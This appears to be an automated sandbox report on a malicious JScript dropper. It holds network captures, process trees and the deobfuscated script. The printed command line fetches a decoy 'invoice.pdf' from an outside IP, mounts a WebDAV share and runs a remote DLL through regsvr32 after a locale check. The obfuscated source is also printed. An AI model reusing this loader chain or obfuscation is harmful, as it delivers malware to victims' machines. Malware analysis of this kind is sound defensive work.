>>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 00:09:45.385935068 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 00:09:45.385993004 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 00:09:45.386023045 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 11, 2025 00:09:45.386076927 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 00:09:45.386112928 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 11, 2025 00:09:45.386153936 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 00:09:45.386188984 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 00:09:45.386225939 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 00:09:45.386261940 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 00:09:45.391241074 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	1436	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 00:09:46.906163931 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 00:09:47.689867020 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:09:47 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	18:09:40
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17266187282427315527.js"
Imagebase:	0x7ff762aa0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:09:41
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll
Imagebase:	0x7ff7ca8b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:09:41
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:09:41
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:09:45
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	18:09:45
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7ca8b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:09:46
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff622110000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:09:46
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	18:09:46
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	18:09:47
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1740,i,12707858693976067435,15828906244356528821,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function doufecdyj() {	doufecdyj() ➔ undefined
1	nojpnus = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kvhryr = this[bybfe + jgdhjrh + xvyczx + gsjpsczi + txzta + cvqpmejb + alavk + ptflixa] ( this[efirkar + maizjnll + accpaojej + xvyczx + nckacm + bybfe + ptflixa][xqjnyuksk + xvyczx + txzta + jgdhjrh + ptflixa + txzta + wpagxljlq + usnmgknh + mvpcmidu + txzta + accpaojej + ptflixa] ( efirkar + maizjnll + accpaojej + xvyczx + nckacm + bybfe + ptflixa + knobusxtn + maizjnll + efyywr + txzta + uafsl + uafsl ) [avfchgon + txzta + fpwqt + avfchgon + txzta + jgdhjrh + jptwnnetk] ( imsdxsoom + zpvazorw + cicahetfh + xuyrcex + geuftwksk + xqjnyuksk + knzeez + avfchgon + avfchgon + cicahetfh + bsapkj + jpzdr + geuftwksk + knzeez + maizjnll + cicahetfh + avfchgon + nvmdnxjwd + xqjnyuksk + hysjiv + alavk + ptflixa + xvyczx + hysjiv + uafsl + vvoddaxoq + bbigtzyx + jgdhjrh + alavk + txzta + uafsl + nvmdnxjwd + cvqpmejb + alavk + ptflixa + txzta + xvyczx + alavk + jgdhjrh + ptflixa + nckacm + hysjiv + alavk + jgdhjrh + uafsl + nvmdnxjwd + qqbogs + hysjiv + accpaojej + jgdhjrh + uafsl + txzta ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( vwcdyz = 0 ; vwcdyz < nojpnus[uafsl + txzta + alavk + fpwqt + ptflixa + efyywr] ; ++ vwcdyz )
4	{
5	if ( kvhryr == nojpnus[vwcdyz] )
6	{
7	kvhryr = true;
8	break ;
9	}
10	}
11	if ( kvhryr !== true )
12	this[efirkar + maizjnll + accpaojej + xvyczx + nckacm + bybfe + ptflixa][vauzpalg + xcbrpbbhb + nckacm + ptflixa] ( );
13	this[efirkar + maizjnll + accpaojej + xvyczx + nckacm + bybfe + ptflixa][xqjnyuksk + xvyczx + txzta + jgdhjrh + ptflixa + txzta + wpagxljlq + usnmgknh + mvpcmidu + txzta + accpaojej + ptflixa] ( efirkar + maizjnll + accpaojej + xvyczx + nckacm + bybfe + ptflixa + knobusxtn + maizjnll + efyywr + txzta + uafsl + uafsl ) [xvyczx + xcbrpbbhb + alavk] ( accpaojej + nnjns + jptwnnetk + vvoddaxoq + mnrucrbcr + accpaojej + vvoddaxoq + bybfe + hysjiv + rzrgw + txzta + xvyczx + gsjpsczi + efyywr + txzta + uafsl + uafsl + knobusxtn + txzta + fzllr + txzta + vvoddaxoq + zwaozpyox + xqjnyuksk + hysjiv + nnjns + nnjns + jgdhjrh + alavk + jptwnnetk + vvoddaxoq + wvnotmzvz + cvqpmejb + alavk + loqiq + hysjiv + vqvjmjc + txzta + zwaozpyox + efirkar + txzta + usnmgknh + avfchgon + txzta + yclyephw + xcbrpbbhb + txzta + gsjpsczi + ptflixa + vvoddaxoq + zwaozpyox + wpagxljlq + xcbrpbbhb + ptflixa + lpntg + nckacm + uafsl + txzta + vvoddaxoq + uqzqu + ptflixa + txzta + nnjns + bybfe + uqzqu + nvmdnxjwd + nckacm + alavk + loqiq + hysjiv + nckacm + accpaojej + txzta + knobusxtn + bybfe + jptwnnetk + eavrh + vvoddaxoq + efyywr + ptflixa + ptflixa + bybfe + lmpxgjcm + mnrucrbcr + mnrucrbcr + otikuhffx + vbjeta + tluddld + knobusxtn + otikuhffx + xprsx + tluddld + knobusxtn + otikuhffx + knobusxtn + lihdiwfl + ibjfwskcq + spieoc + mnrucrbcr + nckacm + alavk + loqiq + hysjiv + nckacm + accpaojej + txzta + knobusxtn + bybfe + efyywr + bybfe + wvnotmzvz + rmqqqbvfd + rmqqqbvfd + gsjpsczi + ptflixa + jgdhjrh + xvyczx + ptflixa + vvoddaxoq + uqzqu + ptflixa + txzta + nnjns + bybfe + uqzqu + nvmdnxjwd + nckacm + alavk + loqiq + hysjiv + nckacm + accpaojej + txzta + knobusxtn + bybfe + jptwnnetk + eavrh + rmqqqbvfd + rmqqqbvfd + accpaojej + nnjns + jptwnnetk + vvoddaxoq + mnrucrbcr + accpaojej + vvoddaxoq + alavk + txzta + ptflixa + vvoddaxoq + xcbrpbbhb + gsjpsczi + txzta + vvoddaxoq + nvmdnxjwd + nvmdnxjwd + otikuhffx + vbjeta + tluddld + knobusxtn + otikuhffx + xprsx + tluddld + knobusxtn + otikuhffx + knobusxtn + lihdiwfl + ibjfwskcq + spieoc + nyirow + nsbgslgsx + nsbgslgsx + nsbgslgsx + nsbgslgsx + nvmdnxjwd + jptwnnetk + jgdhjrh + loqiq + rzrgw + rzrgw + rzrgw + xvyczx + hysjiv + hysjiv + ptflixa + nvmdnxjwd + rmqqqbvfd + rmqqqbvfd + accpaojej + nnjns + jptwnnetk + vvoddaxoq + mnrucrbcr + accpaojej + vvoddaxoq + xvyczx + txzta + fpwqt + gsjpsczi + loqiq + xvyczx + tluddld + lihdiwfl + vvoddaxoq + mnrucrbcr + gsjpsczi + vvoddaxoq + nvmdnxjwd + nvmdnxjwd + otikuhffx + vbjeta + tluddld + knobusxtn + otikuhffx + xprsx + tluddld + knobusxtn + otikuhffx + knobusxtn + lihdiwfl + ibjfwskcq + spieoc + nyirow + nsbgslgsx + nsbgslgsx + nsbgslgsx + nsbgslgsx + nvmdnxjwd + jptwnnetk + jgdhjrh + loqiq + rzrgw + rzrgw + rzrgw + xvyczx + hysjiv + hysjiv + ptflixa + nvmdnxjwd + lihdiwfl + vbjeta + spieoc + vbjeta + otikuhffx + lihdiwfl + otikuhffx + xprsx + spieoc + tluddld + lihdiwfl + vbjeta + otikuhffx + spieoc + nsbgslgsx + knobusxtn + jptwnnetk + uafsl + uafsl, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll",0,false) ➔ 0
14	}
15	hysjiv = "V";
16	hysjiv = "a";
17	hysjiv = "j";
18	hysjiv = "Q";
19	hysjiv = "c";
20	hysjiv = "F";
21	hysjiv = "i";
22	hysjiv = "d";
23	hysjiv = "K";
24	hysjiv = "Q";
25	hysjiv = "W";
26	hysjiv = "M";
27	hysjiv = "R";
28	hysjiv = "Y";
29	hysjiv = "h";
30	hysjiv = "S";
31	hysjiv = "i";
32	hysjiv = "F";
33	hysjiv = "K";
34	hysjiv = "i";
35	hysjiv = "H";
36	hysjiv = "o";
37	fzllr = "w";
38	fzllr = "I";
39	fzllr = "B";
40	fzllr = "e";
41	fzllr = "i";
42	fzllr = "J";
43	fzllr = "X";
44	fzllr = "k";
45	fzllr = "k";
46	fzllr = "b";
47	fzllr = "U";
48	fzllr = "g";
49	fzllr = "x";
50	fzllr = "I";
51	fzllr = "Y";
52	fzllr = "i";
53	fzllr = "P";
54	fzllr = "x";
55	xqjnyuksk = "a";
56	xqjnyuksk = "A";
57	xqjnyuksk = "k";
58	xqjnyuksk = "z";
59	xqjnyuksk = "Q";
60	xqjnyuksk = "z";
61	xqjnyuksk = "W";
62	xqjnyuksk = "X";
63	xqjnyuksk = "f";
64	xqjnyuksk = "R";
65	xqjnyuksk = "W";
66	xqjnyuksk = "s";
67	xqjnyuksk = "B";
68	xqjnyuksk = "p";
69	xqjnyuksk = "C";
70	nsbgslgsx = "i";
71	nsbgslgsx = "g";
72	nsbgslgsx = "A";
73	nsbgslgsx = "H";
74	nsbgslgsx = "z";
75	nsbgslgsx = "B";
76	nsbgslgsx = "f";
77	nsbgslgsx = "g";
78	nsbgslgsx = "M";
79	nsbgslgsx = "y";
80	nsbgslgsx = "e";
81	nsbgslgsx = "A";
82	nsbgslgsx = "c";
83	nsbgslgsx = "B";
84	nsbgslgsx = "B";
85	nsbgslgsx = "U";
86	nsbgslgsx = "K";
87	nsbgslgsx = "X";
88	nsbgslgsx = "x";
89	nsbgslgsx = "R";
90	nsbgslgsx = "h";
91	nsbgslgsx = "e";
92	nsbgslgsx = "y";
93	nsbgslgsx = "j";
94	nsbgslgsx = "N";
95	nsbgslgsx = "w";
96	nsbgslgsx = "j";
97	nsbgslgsx = "S";
98	nsbgslgsx = "H";
99	nsbgslgsx = "a";
100	nsbgslgsx = "F";
101	nsbgslgsx = "b";
102	nsbgslgsx = "8";
103	imsdxsoom = "C";
104	imsdxsoom = "D";
105	imsdxsoom = "a";
106	imsdxsoom = "O";
107	imsdxsoom = "h";
108	imsdxsoom = "E";
109	imsdxsoom = "w";
110	imsdxsoom = "R";
111	imsdxsoom = "G";
112	imsdxsoom = "Y";
113	imsdxsoom = "R";
114	imsdxsoom = "H";
115	otikuhffx = "X";
116	otikuhffx = "g";
117	otikuhffx = "j";
118	otikuhffx = "z";
119	otikuhffx = "m";
120	otikuhffx = "M";
121	otikuhffx = "l";
122	otikuhffx = "n";
123	otikuhffx = "g";
124	otikuhffx = "q";
125	otikuhffx = "v";
126	otikuhffx = "y";
127	otikuhffx = "W";
128	otikuhffx = "Z";
129	otikuhffx = "c";
130	otikuhffx = "L";
131	otikuhffx = "C";
132	otikuhffx = "I";
133	otikuhffx = "V";
134	otikuhffx = "P";
135	otikuhffx = "1";
136	spieoc = "F";
137	spieoc = "d";
138	spieoc = "W";
139	spieoc = "p";
140	spieoc = "J";
141	spieoc = "V";
142	spieoc = "Y";
143	spieoc = "5";
144	rzrgw = "p";
145	rzrgw = "B";
146	rzrgw = "e";
147	rzrgw = "e";
148	rzrgw = "f";
149	rzrgw = "e";
150	rzrgw = "N";
151	rzrgw = "O";
152	rzrgw = "Q";
153	rzrgw = "T";
154	rzrgw = "s";
155	rzrgw = "K";
156	rzrgw = "B";
157	rzrgw = "W";
158	rzrgw = "M";
159	rzrgw = "z";
160	rzrgw = "c";
161	rzrgw = "j";
162	rzrgw = "n";
163	rzrgw = "r";
164	rzrgw = "b";
165	rzrgw = "c";
166	rzrgw = "b";
167	rzrgw = "w";
168	vbjeta = "N";
169	vbjeta = "h";
170	vbjeta = "G";
171	vbjeta = "H";
172	vbjeta = "X";
173	vbjeta = "n";
174	vbjeta = "B";
175	vbjeta = "T";
176	vbjeta = "m";
177	vbjeta = "T";
178	vbjeta = "N";
179	vbjeta = "X";
180	vbjeta = "A";
181	vbjeta = "K";
182	vbjeta = "z";
183	vbjeta = "9";
184	vqvjmjc = "Z";
185	vqvjmjc = "J";
186	vqvjmjc = "G";
187	vqvjmjc = "x";
188	vqvjmjc = "C";
189	vqvjmjc = "w";
190	vqvjmjc = "n";
191	vqvjmjc = "k";
192	vqvjmjc = "F";
193	vqvjmjc = "B";
194	vqvjmjc = "x";
195	vqvjmjc = "l";
196	vqvjmjc = "h";
197	vqvjmjc = "c";
198	vqvjmjc = "h";
199	vqvjmjc = "k";
200	vqvjmjc = "u";
201	vqvjmjc = "A";
202	vqvjmjc = "g";
203	vqvjmjc = "C";
204	vqvjmjc = "z";
205	vqvjmjc = "e";
206	vqvjmjc = "Z";
207	vqvjmjc = "Y";
208	vqvjmjc = "y";
209	vqvjmjc = "x";
210	vqvjmjc = "u";
211	vqvjmjc = "i";
212	vqvjmjc = "f";
213	vqvjmjc = "R";
214	vqvjmjc = "K";
215	vqvjmjc = "P";
216	vqvjmjc = "o";
217	vqvjmjc = "O";
218	vqvjmjc = "k";
219	bbigtzyx = "u";
220	bbigtzyx = "P";
221	geuftwksk = "r";
222	geuftwksk = "R";
223	geuftwksk = "B";
224	geuftwksk = "q";
225	geuftwksk = "S";
226	geuftwksk = "h";
227	geuftwksk = "D";
228	geuftwksk = "V";
229	geuftwksk = "k";
230	geuftwksk = "k";
231	geuftwksk = "d";
232	geuftwksk = "_";
233	usnmgknh = "w";
234	usnmgknh = "R";
235	usnmgknh = "j";
236	usnmgknh = "T";
237	usnmgknh = "d";
238	usnmgknh = "k";
239	usnmgknh = "C";
240	usnmgknh = "e";
241	usnmgknh = "R";
242	usnmgknh = "g";
243	usnmgknh = "V";
244	usnmgknh = "m";
245	usnmgknh = "f";
246	usnmgknh = "Y";
247	usnmgknh = "P";
248	usnmgknh = "u";
249	usnmgknh = "h";
250	usnmgknh = "y";
251	usnmgknh = "d";
252	usnmgknh = "k";
253	usnmgknh = "K";
254	usnmgknh = "x";
255	usnmgknh = "Q";
256	usnmgknh = "R";
257	usnmgknh = "x";
258	usnmgknh = "a";
259	usnmgknh = "b";
260	jpzdr = "W";
261	jpzdr = "Y";
262	jpzdr = "S";
263	jpzdr = "H";
264	jpzdr = "v";
265	jpzdr = "V";
266	jpzdr = "p";
267	jpzdr = "B";
268	jpzdr = "i";
269	jpzdr = "m";
270	jpzdr = "e";
271	jpzdr = "d";
272	jpzdr = "q";
273	jpzdr = "i";
274	jpzdr = "d";
275	jpzdr = "s";
276	jpzdr = "c";
277	jpzdr = "Z";
278	jpzdr = "X";
279	jpzdr = "L";
280	jpzdr = "r";
281	jpzdr = "m";
282	jpzdr = "c";
283	jpzdr = "T";
284	maizjnll = "c";
285	maizjnll = "Q";
286	maizjnll = "p";
287	maizjnll = "Z";
288	maizjnll = "g";
289	maizjnll = "w";
290	maizjnll = "T";
291	maizjnll = "s";
292	maizjnll = "P";
293	maizjnll = "M";
294	maizjnll = "k";
295	maizjnll = "F";
296	maizjnll = "v";
297	maizjnll = "D";
298	maizjnll = "l";
299	maizjnll = "w";
300	maizjnll = "E";
301	maizjnll = "S";
302	maizjnll = "K";
303	maizjnll = "G";
304	maizjnll = "s";
305	maizjnll = "W";
306	maizjnll = "S";
307	alavk = "I";
308	alavk = "i";
309	alavk = "N";
310	alavk = "j";
311	alavk = "A";
312	alavk = "x";
313	alavk = "Q";
314	alavk = "j";
315	alavk = "z";
316	alavk = "D";
317	alavk = "u";
318	alavk = "Y";
319	alavk = "t";
320	alavk = "V";
321	alavk = "l";
322	alavk = "Q";
323	alavk = "q";
324	alavk = "O";
325	alavk = "N";
326	alavk = "x";
327	alavk = "e";
328	alavk = "n";
329	zpvazorw = "L";
330	zpvazorw = "e";
331	zpvazorw = "C";
332	zpvazorw = "j";
333	zpvazorw = "K";
334	zpvazorw = "X";
335	zpvazorw = "V";
336	zpvazorw = "H";
337	zpvazorw = "h";
338	zpvazorw = "I";
339	zpvazorw = "R";
340	zpvazorw = "P";
341	zpvazorw = "w";
342	zpvazorw = "b";
343	zpvazorw = "y";
344	zpvazorw = "i";
345	zpvazorw = "O";
346	zpvazorw = "R";
347	zpvazorw = "q";
348	zpvazorw = "r";
349	zpvazorw = "K";
350	wpagxljlq = "t";
351	wpagxljlq = "o";
352	wpagxljlq = "d";
353	wpagxljlq = "g";
354	wpagxljlq = "K";
355	wpagxljlq = "P";
356	wpagxljlq = "C";
357	wpagxljlq = "X";
358	wpagxljlq = "G";
359	wpagxljlq = "b";
360	wpagxljlq = "Q";
361	wpagxljlq = "X";
362	wpagxljlq = "N";
363	wpagxljlq = "O";
364	wvnotmzvz = "A";
365	wvnotmzvz = "s";
366	wvnotmzvz = "w";
367	wvnotmzvz = "f";
368	wvnotmzvz = "U";
369	wvnotmzvz = "V";
370	wvnotmzvz = "Y";
371	wvnotmzvz = "Q";
372	wvnotmzvz = "Y";
373	wvnotmzvz = "x";
374	wvnotmzvz = "p";
375	wvnotmzvz = "T";
376	wvnotmzvz = "A";
377	wvnotmzvz = "G";
378	wvnotmzvz = "l";
379	wvnotmzvz = "w";
380	wvnotmzvz = "r";
381	wvnotmzvz = "l";
382	wvnotmzvz = "r";
383	wvnotmzvz = "i";
384	wvnotmzvz = "B";
385	wvnotmzvz = "z";
386	wvnotmzvz = "b";
387	wvnotmzvz = "Z";
388	wvnotmzvz = "h";
389	wvnotmzvz = "H";
390	wvnotmzvz = "C";
